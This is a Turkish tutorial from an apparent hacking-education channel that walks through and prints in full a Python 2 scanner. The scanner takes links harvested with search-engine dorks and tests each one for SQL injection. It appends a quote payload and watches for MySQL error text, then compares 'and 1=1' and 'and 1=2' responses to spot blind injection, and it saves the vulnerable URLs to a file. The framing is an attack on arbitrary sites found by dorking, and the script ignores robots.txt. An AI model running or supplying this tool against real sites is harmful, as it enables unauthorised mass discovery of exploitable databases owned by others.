Py4H SQL Injection Dedektör
🕊 Bu döküman @KekikAkademi için oluşturulmuştur. ✌🏼
Merhaba arkadaşlar bu yazımızda Sql Injection zaafiyetini tespit etmek için ufak bir araç yapacağız. Daha önceki Google Searcher projemizde çıkan linkleri txt dosyasına kayıt etmiştik bu sefer txt dosyasındaki linkleri okuyarak sql injection açığı var mı yok mu bunu kontrol edeceğiz.
Saldırı Senaryosu: X dorku ile bulduğumuz arama sonuçlarında çıkan her bir hedef linkte sql injection açığı için kontrol aşamalarından geçireceğiz. Tespit edilen linkler bize txt dosyasında sunulacak.
Algoritma:
- Başla
- Link var ise al yok ise 5. adıma git
- Adim1() sql injection var ise yazdır 2. adıma git
- Adim2() sql injection var ise yazdır ve 2. adıma git
- Programı sonlandır
Kod Paylaşımı: !!PYTHON 2!!
İlk olarak genel ayarlarımızı yaptık her zamanki gibi. Bu sefer timeout süresinide değiştirdik çok beklemek istemeyiz çünkü.
#! -*- coding: utf-8 -*- import mechanize,re,sys #kullanacağımız modülleri aktardık. br = mechanize.Browser() # tarayicimizi olusturduk.. br.set_handle_robots(False) # robots.txt engellerini aşmak için false dedik br.addheaders = [('User-agent', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)')] # header ekledik mechanize._sockettimeout._GLOBAL_DEFAULT_TIMEOUT = 5 # timeout süresini belirledik
Bu kısımda standart birşey yaptık arkadaşlar. Aracımızı bir başkası kullandığı zaman nasıl kullanıldığı hakkında yardımcı olmak adına fonksiyonumuzu oluşturduk.
def yardim(): #yardim fonksiyonumuz print "[!] Örnek kullanım:\n>> sql-i.py -i linkler.txt -o sonuclar.txt" # örnek kullanım.. print "\n[+] = sql injection var demek!\n[?] = sql injection olabilir demek!\n[??] = blind sql injection olabilir demek!"
1.Adım dediğimiz kısım arkadaşlar. Herkesin yaptığı gibi en basit sql injection hatası var mı yok mu diyerek ‘a ifadesini koyduk linklerimizin sonuna..
def Adim1(link): #Adım 1 istek = br.open(link) # gelen linke istek gönderilir.. kaynak_kod = istek.read() # açılan linkin kaynak kodu alınır istek2 = br.open(link+"'a") # aynı linke 'a eklenerek 2. istek atılır kaynak_kod2 = istek2.read() # açılan sitenin kaynak kodu 2. kez alınır if kaynak_kod != kaynak_kod2: # alınan 2 kaynak kod eşit değil ise if re.findall('You have an error in your SQL',kaynak_kod2): # 2. aldığımız kaynak kodda şu cümle aranır print "[+] "+link # varsa ekrana yazdır dosya2.write(link+"\n") # ve dosyamıza yazdırırız pass # geç else: # 2.kaynak kod da sihirli sözcük yok ise print "[?] "+link # Sql injection olabilir denilir.. dosya2.write(link+"\n") # ve dosyamıza yazdırırız pass # geç else: # eğer karşılaştırılan 2 kaynak kod da aynı ise Adim2(link) # Adım 2 ye gider linkimiz..
2.Adım dediğimiz bu kısımda eğer ‘a diyerek hata alamıyorsak mantıksal sorgu ile birde şansımızı 2. adımda deneyeceğiz arkadaşlar..
def Adim2(link): # Adım 2 #print "Adım 2 ye geçildi !!" istek3 = br.open(link+"+and+1=1") # linkimiz 3. istekde mantıksal sorgu ile tekrar açıldı kaynak_kod3 = istek3.read() # açılan sitenin kaynak kodu alındı istek4 = br.open(link+"+and+1=2") # 4. istekte yine ilk mantıksal sorguya ters bir mantık ile tekrar açıldı kaynak_kod4 = istek4.read() # açılan sitenin kaynak kodu alındı if kaynak_kod3 != kaynak_kod4: # kaynak kodlar karşılaştırıldı aynı değil ise ! print "[??] "+link # Blind sql injection olabilir dendi.. dosya2.write(link+"\n") # ve dosyamıza yazıldı pass # geç else: # kaynak kodlar aynı ise pass # geç
Ve son kısım arkadaşlar burası kodlarımızın beyni oluyor yani bütün iş burada dönüyor daha önceki fonksiyonlarımızı buradan çağırıyoruz gerekli hataları burada yok sayıyoruz(bypass).Bu kısımda açıklama satırlarında da okuyacağınız gibi txt den aldığımız linkleri gerekli fonksiyonumuza yollayarak yolculuğa çıkarıyoruz aynı zamanda bol bol hataları yok saymak adına try except metodunu kullanıyoruz.
try: # Hatalar için try kullanıyoruz if sys.argv[1] == "-i" and sys.argv[3] == "-o": # argümanlarda -i ve -o var mı kontrol ettik eğer var ise i_dosya = sys.argv[2] # argümanlarımızı alıyoruz o_dosya = sys.argv[4] # argümanlarımızı alıyoruz dosya = open(i_dosya,"r") # dosyamızı okumak adına açtık kelimeler = dosya.read() # okuduk linkler = kelimeler.split("\n") # listemize aktardık split ile parçalayarak.. dosya2 = open(o_dosya,"a") # 2. dosyamızı açtık üzerine eklemeli olarak yazmak için ! for a in linkler: # linklerimizi for döngüsünde döküyoruz try: # yine aynı şekil sitelerin güvenlik duvarlarının verdikleri cevaplardan programımızın hata vermemesi için try kullandık Adim1(a) # Adim 1 e linkimizi yolladık except: pass # Hata çıkarsa geç sıradaki linke print "[+] İslem bitmistir.." # işlem bittiğinde else: # argümanlar yok ise yardim() # yardim fonksiyonunu göster kullanma kılavuzu except: # Hata çıkarsa yardim() # yardim fonksiyonumuzu göster..
Ve arkadaşlar projemizin sonuna gelmiş bulunmaktayız. Kodların hepsine aşşağıdan ulaşabilirsiniz.
#! -*- coding: utf-8 -*- import mechanize,re,sys #kullanacağımız modülleri aktardık. br = mechanize.Browser() # tarayicimizi olusturduk.. br.set_handle_robots(False) # robots.txt engellerini aşmak için false dedik br.addheaders = [('User-agent', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)')] # header ekledik mechanize._sockettimeout._GLOBAL_DEFAULT_TIMEOUT = 5 # timeout süresini belirledik def yardim(): #yardim fonksiyonumuz print "[!] Örnek kullanım:\n>> sql-i.py -i linkler.txt -o sonuclar.txt" # örnek kullanım.. print "\n[+] = sql injection var demek!\n[?] = sql injection olabilir demek!\n[??] = blind sql injection olabilir demek!" def Adim2(link): # Adım 2 #print "Adım 2 ye geçildi !!" istek3 = br.open(link+"+and+1=1") # linkimiz 3. istekde mantıksal sorgu ile tekrar açıldı kaynak_kod3 = istek3.read() # açılan sitenin kaynak kodu alındı istek4 = br.open(link+"+and+1=2") # 4. istekte yine ilk mantıksal sorguya ters bir mantık ile tekrar açıldı kaynak_kod4 = istek4.read() # açılan sitenin kaynak kodu alındı if kaynak_kod3 != kaynak_kod4: # kaynak kodlar karşılaştırıldı aynı değil ise ! print "[??] "+link # Blind sql injection olabilir dendi.. dosya2.write(link+"\n") # ve dosyamıza yazıldı pass # geç else: # kaynak kodlar aynı ise pass # geç def Adim1(link): #Adım 1 istek = br.open(link) # gelen linke istek gönderilir.. kaynak_kod = istek.read() # açılan linkin kaynak kodu alınır istek2 = br.open(link+"'a") # aynı linke 'a eklenerek 2. istek atılır kaynak_kod2 = istek2.read() # açılan sitenin kaynak kodu 2. kez alınır if kaynak_kod != kaynak_kod2: # alınan 2 kaynak kod eşit değil ise if re.findall('You have an error in your SQL',kaynak_kod2): # 2. aldığımız kaynak kodda şu cümle aranır print "[+] "+link # varsa ekrana yazdır dosya2.write(link+"\n") # ve dosyamıza yazdırırız pass # geç else: # 2.kaynak kod da sihirli sözcük yok ise print "[?] "+link # Sql injection olabilir denilir.. dosya2.write(link+"\n") # ve dosyamıza yazdırırız pass # geç else: # eğer karşılaştırılan 2 kaynak kod da aynı ise Adim2(link) # Adım 2 ye gider linkimiz.. try: # Hatalar için try kullanıyoruz if sys.argv[1] == "-i" and sys.argv[3] == "-o": # argümanlarda -i ve -o var mı kontrol ettik eğer var ise i_dosya = sys.argv[2] # argümanlarımızı alıyoruz o_dosya = sys.argv[4] # argümanlarımızı alıyoruz dosya = open(i_dosya,"r") # dosyamızı okumak adına açtık kelimeler = dosya.read() # okuduk linkler = kelimeler.split("\n") # listemize aktardık split ile parçalayarak.. dosya2 = open(o_dosya,"a") # 2. dosyamızı açtık üzerine eklemeli olarak yazmak için ! for a in linkler: # linklerimizi for döngüsünde döküyoruz try: # yine aynı şekil sitelerin güvenlik duvarlarının verdikleri cevaplardan programımızın hata vermemesi için try kullandık Adim1(a) # Adim 1 e linkimizi yolladık except: pass # Hata çıkarsa geç sıradaki linke print "[+] İslem bitmistir.." # işlem bittiğinde else: # argümanlar yok ise yardim() # yardim fonksiyonunu göster kullanma kılavuzu except: # Hata çıkarsa yardim() # yardim fonksiyonumuzu göster..
Not: Projemiz Python 2.x sürümü ile kodlanmış olup en çok sevdiğim modüllerden birisi olan mechanize modülünü kullandık. Mechanize modülü, standart kütüphanelerde olmadığı için ayrıca yüklemeniz gerekmektedir.
__________________________
📃 Yandex.Disk Bünyemizdeki veriler 900GB'ı geçmiştir..
Paylaşılan Kursların Tümünü @KekikKahve Grubu notlarından Çağırabilirsiniz..
🕊️ Bize oy verip paylaşarak destek olmaya ne dersin? ✌🏼